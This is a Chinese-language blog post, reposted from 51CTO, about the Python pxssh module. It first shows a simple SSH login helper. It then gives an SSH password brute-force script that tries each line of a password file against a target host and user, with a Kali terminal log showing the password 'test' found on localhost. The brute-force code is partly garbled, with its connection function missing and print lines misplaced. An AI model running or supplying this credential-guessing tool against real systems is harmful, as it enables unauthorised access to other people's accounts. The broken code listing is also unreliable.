1、描述:
pxssh預先已經有了login()、logout()和prompt()等函數直接與ssh進行互動。
1.1 示例代碼:
#導入pxssh子產品
import pxssh
def send_command(s,cmd):
#發送指令
s.sendline(cmd)
#擷取期望的輸出提示符
s.prompt()
#顯示傳回資訊
print s.before
def connect(host,user,password):
try:
#建立pxssh對象
s = pxssh.pxssh()
#登陸ssh函數
s.login(host,user,password)
return s
except:
print '[-] Error Connecting'
exit(0)
s = connect('127.0.0.1','test','test')
send_command(s,'ls /')
1.1 運作:
sshPxssh.py是程式的檔案名
root@kali:/usr/python# python sshPxssh.py
ls /
0 dev initrd.imglost+found opt root srv tmpvmlinuz
bin etc libmedia proc run sys usr
boot home live-buildmnt p.txt sbin testfile var
1.2 簡單ssh暴力破解程式
import optparse
print '[-] Testing: ' + password
print '[*] Password Found: '+password
def main():
parser = optparse.OptionParser('usage %prog -H <host> -u <user> -F <passfile>')
parser.add_option('-H',dest='tgtHost',type='string',help='specify target host')
parser.add_option('-u',dest='user',type='string',help='specify the user')
parser.add_option('-F',dest='passwdFile',type='string',help='passwod file')
(options,args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
fn = open(passwdFile,'r')
for line in fn.readlines():
password = line.strip('\r').strip('\n')
connect(host,user,password)
if __name__ == '__main__':
main()
1.2 運作:
root@kali:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt
[-] Testing: 1234
[-] Error Connecting
[-] Testing: 2222
[-] Testing: 4444
[-] Testing: 555
[-] Testing: tttt
[-] Testing: admin
[-] Testing: root
[-] Testing: test
[*] Password Found: test
本文轉自 老鷹a 51CTO部落格,原文連結:http://blog.51cto.com/laoyinga/1918577